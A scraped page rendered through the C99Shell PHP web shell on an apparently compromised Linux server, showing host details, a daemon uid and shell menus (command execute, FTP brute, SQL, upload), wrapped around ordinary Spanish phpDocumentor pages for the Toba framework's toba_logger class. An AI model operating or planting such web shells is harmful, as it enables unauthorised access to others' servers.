!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/proyectos/toba_editor/www/doc/api/Debug/   drwxr-xr-x
Free 14.54 GB of 61.93 GB (23.48%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     toba_logger.html (59.08 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Docs For Class toba_logger
phpDocumentor
[ árbol de herencia: Debug ] [ índice: Debug ] [ índice general ]

toba_logger

Mantiene una serie de sucesos no visibles al usuario y los almacena para el posterior analisis Los sucesos tienen una categoria (debug, info, error, etc.) y el proyecto que la produjo

toba::logger()->debug($mensaje);

Para imprimir el valor de una variable en el log

toba::logger()->var_dump($variable);

toba::logger()->trace();

Para loguear algun error interno:

toba::logger()->error('El importe nunca debio ser negativo!');

  • TOBA_LOG_CRIT: 2
  • TOBA_LOG_ERROR: 3
  • TOBA_LOG_WARNING: 4
  • TOBA_LOG_WARNING: 5
  • TOBA_LOG_WARNING: 6
  • TOBA_LOG_DEBUG: 7
Recomendaciones de uso:



		
		

Ubicada en /nucleo/lib/toba_logger.php [line 49]

El nivel actual se define en el Punto de Acceso

Subclases directas
toba_logger_ws Mantiene una serie de sucesos no visibles al usuario y los almacena para el posterior analisis Los sucesos tienen una categoria (debug, info, error, etc.) y el proyecto que la produjo

Métodos Propios
static logger   instancia()   Este es un singleton por proyecto
static void   manejador_errores_recuperables()  
toba_logger   __construct()  
void   anexar_a_archivo()  
void   armar_encabezado()  
void   armar_mensajes()  
void   borrar_archivos_logs()  
void   ciclar_archivos_logs()  
void   construir_traza()  
void   crit()   Registra un suceso CRITICO (un error muy grave)
void   debug()  
void   desactivar()  
void   directorio_logs()  
void   error()   Registra un error en la apl., este nivel es que el se usa en las excepciones
void   get_cantidad_mensajes()  
void   get_mensajes_minimo_nivel()  
void   get_nivel()  
void   get_niveles()  
void   get_proyecto_actual()  
void   get_usuario_actual()  
void   guardar()   Guarda los sucesos actuales en el sist. de archivos
void   guardar_archivo_log()  
void   guardar_en_archivo()  
void   info()  
void   mascara()  
void   mascara_hasta()  
void   mensajes()  
void   modo_debug()  
void   notice()   Registra un suceso no contemplado que no es critico para la aplicacion
void   obsoleto()   Indica la llamada a un metodo/funcion obsoleto, es un alias de notice
void   seccion()  
void   set_directorio_logs()  
void   set_nivel()  
void   trace()   Muestra la traza de ejecucion actual en el logger
void   var_dump()   Dumpea el contenido de una variable al logger
void   warning()   Registra un suceso no contemplado pero que posiblemente no afecta la correctitud del proceso

Constantes
static method instancia  [línea 100]

  static logger instancia( [ $proyecto = null]  )

Este es un singleton por proyecto
Parámetros:
   $proyecto: 

Redefinido en subclases como:

static method manejador_errores_recuperables  [línea 108]

  static void manejador_errores_recuperables( $error_nro, $error_string, [ $error_archivo = ''], [ $error_linea = 0]  )

Parámetros:
   $error_nro: 
   $error_string: 
   $error_archivo: 
   $error_linea: 


Constructor __construct  [línea 78]

  toba_logger __construct( [ $proyecto = null]  )

Parámetros:
   $proyecto: 

Access:  protected

Information Tags:
Todo:  Para sacar el path de la instalacion y la instancia se necesitaria tener acceso a la clase instalacion pero no se carga en el runtime, solo en la parte administrativa, por ahora se replica el lugar donde se encuentra el dir de instalacion

anexar_a_archivo  [línea 545]

  void anexar_a_archivo( $texto, $archivo  )

Parámetros:
   $texto: 
   $archivo: 

Access:  protected


armar_encabezado  [línea 446]

  void armar_encabezado( )


Access:  protected

Redefinido en subclases como:

armar_mensajes  [línea 479]

  void armar_mensajes( )


Access:  protected


borrar_archivos_logs  [línea 613]

  void borrar_archivos_logs( )



ciclar_archivos_logs  [línea 553]

  void ciclar_archivos_logs( $path, $archivo  )

Parámetros:
   $path: 
   $archivo: 

Access:  protected


construir_traza  [línea 219]

  void construir_traza( [ $con_parametros = false], [ $pasos = null]  )

Parámetros:
   $con_parametros: 
   $pasos: 

Access:  protected


crit  [línea 334]

  void crit( $mensaje, [ $proyecto = null]  )

Registra un suceso CRITICO (un error muy grave)
Parámetros:
   $mensaje: 
   $proyecto: 


debug  [línea 401]

  void debug( $mensaje, [ $proyecto = null]  )

Parámetros:
   $mensaje: 
   $proyecto: 


desactivar  [línea 140]

  void desactivar( )



directorio_logs  [línea 432]

  void directorio_logs( )


Redefinido en subclases como:

error  [línea 342]

  void error( $mensaje, [ $proyecto = null]  )

Registra un error en la apl., este nivel es que el se usa en las excepciones
Parámetros:
   $mensaje: 
   $proyecto: 


get_cantidad_mensajes  [línea 270]

  void get_cantidad_mensajes( )



get_mensajes_minimo_nivel  [línea 275]

  void get_mensajes_minimo_nivel( )



get_nivel  [línea 301]

  void get_nivel( )



get_niveles  [línea 296]

  void get_niveles( )



get_proyecto_actual  [línea 117]

  void get_proyecto_actual( )



get_usuario_actual  [línea 128]

  void get_usuario_actual( )



guardar  [línea 495]

  void guardar( )

Guarda los sucesos actuales en el sist. de archivos

Redefinido en subclases como:

guardar_archivo_log  [línea 516]

  void guardar_archivo_log( $texto, $archivo  )

Parámetros:
   $texto: 
   $archivo: 

Access:  protected

Redefinido en subclases como:

guardar_en_archivo  [línea 502]

  void guardar_en_archivo( $archivo, [ $forzar_salida = false]  )

Parámetros:
   $archivo: 
   $forzar_salida: 

Redefinido en subclases como:

info  [línea 393]

  void info( $mensaje, [ $proyecto = null]  )

Parámetros:
   $mensaje: 
   $proyecto: 


mascara  [línea 418]

  void mascara( $nivel  )

Parámetros:
   $nivel: 

Access:  protected


mascara_hasta  [línea 423]

  void mascara_hasta( $nivel  )

Parámetros:
   $nivel: 

Access:  protected


mensajes  [línea 265]

  void mensajes( )


Access:  protected


modo_debug  [línea 306]

  void modo_debug( )



notice  [línea 385]

  void notice( $mensaje, [ $proyecto = null]  )

Registra un suceso no contemplado que no es critico para la aplicacion
Parámetros:
   $mensaje: 
   $proyecto: 


obsoleto  [línea 359]

  void obsoleto( $clase, $metodo, string $version, [ $extra = null], [ $proyecto = null]  )

Indica la llamada a un metodo/funcion obsoleto, es un alias de notice
Parámetros:
string   $version: 
   $clase: 
   $metodo: 
   $extra: 
   $proyecto: 


seccion  [línea 409]

  void seccion( $mensaje, [ $proyecto = null]  )

Parámetros:
   $mensaje: 
   $proyecto: 


set_directorio_logs  [línea 441]

  void set_directorio_logs( $dir  )

Parámetros:
   $dir: 


set_nivel  [línea 147]

  void set_nivel( $nivel  )

Parámetros:
   $nivel: 


trace  [línea 318]

  void trace( [ $con_parametros = false], [ $proyecto = null]  )

Muestra la traza de ejecucion actual en el logger
Parámetros:
   $con_parametros: 
   $proyecto: 


var_dump  [línea 326]

  void var_dump( $variable, [ $proyecto = null]  )

Dumpea el contenido de una variable al logger
Parámetros:
   $variable: 
   $proyecto: 


warning  [línea 350]

  void warning( $mensaje, [ $proyecto = null]  )

Registra un suceso no contemplado pero que posiblemente no afecta la correctitud del proceso
Parámetros:
   $mensaje: 
   $proyecto: 




Desarrollado por SIU.
Documentación generada con phpDocumentor 1.4.3

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 1.1848 ]--